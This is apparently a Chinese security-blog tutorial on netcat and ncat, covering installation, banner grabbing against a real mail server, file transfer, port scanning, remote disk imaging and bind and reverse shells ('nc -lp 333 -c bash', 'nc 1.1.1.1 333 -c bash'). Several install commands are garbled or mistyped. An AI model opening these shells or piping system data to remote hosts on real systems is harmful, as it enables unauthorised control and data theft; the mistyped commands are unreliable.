点击上方蓝字关注我们
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
netcat(nc)是一个简单而有用的工具,被誉为网络安全界的“瑞士军刀”,不仅可以通过使用TCP或UDP协议的网络连接读写数据,同时还是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接。
在Kali Linux中,可以使用"nc-help"或者"man nc"命令查看是否已经安装了nc,如果没有安装,则执行如下命令进行安装
sudo apt install nc.x86_64
也可以先使用wget命令下载安装包,再进行安装,具体如下
下载地址见 http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
wget <下载地址> -0 netcat-0.7.1.tar.gz
tar axvs netcat-0.7.1.tar.gz
cd netcat-0.7.1
./contigure
make
编译完成,就会生成 nc 可以执行的文件了,该文件位于 src 目录下,执行"cd"命令,运行/neteat 文件,就可以找到nc了;
Window安装请在文章底部获取下载链接
Banner信息,欢迎语,在banner信息中可以得到软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击。
前提条件:需要和目标建立链接,只有建立了链接,我们才能获取对应的banner信息
目标服务器上可以对banner进行隐藏或者禁止读取
-v:显示详细连接相关信息 -n:后面跟ip地址,-n参数指不会进行dns解析,一般我们使用nc直接进行连接,不建议nc后面跟域名。
nc -vn ip 端口
如图实例。返回banner信息,我们可以知道163邮箱使用了coremail实现邮件服务
参数:
-h 帮助信息
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默认模式)
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
#使用 nc 连接 163 邮箱
[email protected]:~# ping pop3.163.com
[email protected]:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER [email protected]
-ERR źµŕʺƔފ±²»¿ʓn¿ʄܵŔӲˇ:źµŕʺŶൎ³¢˔´µŃ݂鬳䚰²ȫ¿¼Ç,ϒćʱО׆źµŕʺŵðop·Ďˈ¨О
+OK core mail
# 出现乱码,账号和密码需要 base64 编码 [email protected]:~# base64
[email protected]【ctrl+d】
dGVzdEAxNjMuY29tCg==
[email protected]:~# nc -vn 123.125.50.29 110
(UNKNOWN) [123.125.50.29] 110 (pop3) open
+OK Welcome to coremail Mail Pop3 Server (163coms[b62aaa251425b4be4eaec4ab4744cf47s])
USER dGVzdEAxNjMuY29tCg==
+OK core mail
[email protected]:~# nc -nv 192.168.1.110 25
(UNKNOWN) [192.168.1.110] 25 (smtp) open
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
//连接80端口
[email protected]:~# nc -nv 192.168.1.110 80
(UNKNOWN) [192.168.1.110] 80 (http) open
head /
可以作为客户端,也可以作为服务端,如下:a作为服务端监听4444端口,b进行连接
A: [email protected]:~# nc -l -p 4444
B: [email protected]:~# nc -nv 192.168.1.100 4444
# 可以传递输入的消息# 电子取证的时候要求被审计的目标尽可能少的被修改硬盘数据,可以使用 nc 进行传递消息
如果想要在B上执行命令,但不想显示在B上,我们可以在服务端A监听一个端口,然后在B上输入命令,通过A的ip和端口输出到服务端A。
A: [email protected]:~# nc -l -p 4444
B: [email protected]:~# ls -l | nc -nv 192.168.1.100 4444
在服务端A输入nc -l -p 4444 > ps.txt
表明监听到的4444端口的信息都输入到ps.txt中,也就是说,在B中输入命令发送到A的ps文件中
[email protected]:~# nc -l -p 4444 > ps.txt
加上-q 时间
表明命令执行完成后几秒断开连接,可以通过-q来进行判断命令是否执行,否则一直保持连接状态无法判断是否执行
[email protected]:~# ps aux | nc -nv 192.168.1.100 -q 1
# -q 1 : 1秒之后断开连接A: [email protected]:~# nc -l -p 4444 > lsof.txt
B: [email protected]:~# lsof | nc -nv 192.168.1.100 4444 -q 1
在服务端输入A代码,将监听的端口内容输出到2.MP4,在客户端将文件输入到192.168.1.100的4444端口
• 传输文件( B->A )
A:[email protected]:~# nc -lp 4444 > 2.mp4
B:[email protected]:~# nc -nv 192.168.1.100 4444 < AWVS\ 01.avi -q 1或(A->B)
A:[email protected]:~# nc -q 1 -lp 4444 < 2.mp4
B:[email protected]:~# nc -nv 192.168.1.100 4444 > 3.mp4
B加密->A解密
A:[email protected]:~# tar zcvf
- testdir/ | nc -lp 4444 -q 1
B:[email protected]:~# nc 192.168.1.100 4444 | tar zxvf -
不是nc里面的功能,是调用了新系统的加密功能,需要安装相应加密工具
A:[email protected]:~# nc -lp 4444 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B:[email protected]:~# mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.1.100 333 -q 1
B的视频流输入到A,A本地不会还原出文件内容
//将3.mp4重定向到333端口
A:[email protected]:~# cat 3.mp4 | nc -lp 333
//客户端连接ip:333端口,接收流,会直接播放
B:[email protected]:~# nc -nv 192.168.1.110 | mplayer -vo x11 -cache 3000 -
-z:扫描模式 -nv
[email protected]:~# nc -nvz 192.168.1.110 1-65535
[email protected]:~# nc -nvz 192.168.1.110 1-1024
B:作为被取证的电脑
• A:[email protected]:~# nc -lp 4444 | dd of=/dev/sda
• B:[email protected]:~# dd if=/dev/sda | nc -nv 192.168.1.100 4444 -q 1
• 远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。
• 正向:(B->A)B控制A
如果有人连接A的333端口,A(服务器)就会通过333端口传过去自己的shell
• A:[email protected]:~# nc -lp 333 -c bash
• B:[email protected]:~# nc -nv 192.168.1.100 333
• 反向:(A->B)
• A:nc -lp 333
• B:nc 1.1.1.1 333 -c bash
• 注:Windows用户把bash改成cmd;
nc缺乏加密和⾝身份验证的能力
打开的端口所有人都可以去连 Ncat包含于nmap⼯工具包中,可以弥补nc的不足
ncat管道是加密的,如果有人抓包,里面数据都是被加密的 不同操作系统nc版本可能不同,因此需要查询手册,man 命令
#allow:允许访问的ip
//服务器端A侦听333端口,A把自己的shell交给B
A:[email protected]:~# ncat -c bash --allow 192.168.1.110 -vnl 333 --ssl
B:[email protected]:~# ncat -nv 192.168.1.100 333 --ssl
关注公众号,回复如下消息获取
口令:nc
如果想要系统学习网络安全技术
不妨加入知识星球课程《60天入门网络安全渗透测试》
从入门到案例,贴合实战
轻松易懂、好玩实用
限时领取
知识星球优惠券
跟着60天路线(点我查看)一起学
期待你的到来!
往期推荐
从入门到入狱的技术,可以学,别乱用!
网络安全学习方向和资源整理(建议收藏)
一个web安全工程师的基础学习规划
资源 | 渗透测试工程师入门教程(限时领取)
5年老鸟推荐10个玩Python必备的网站
推荐十个成为网络安全渗透测试大佬的学习必备网站!
那些社工师不为人知的秘密。。。
点个在看你最好看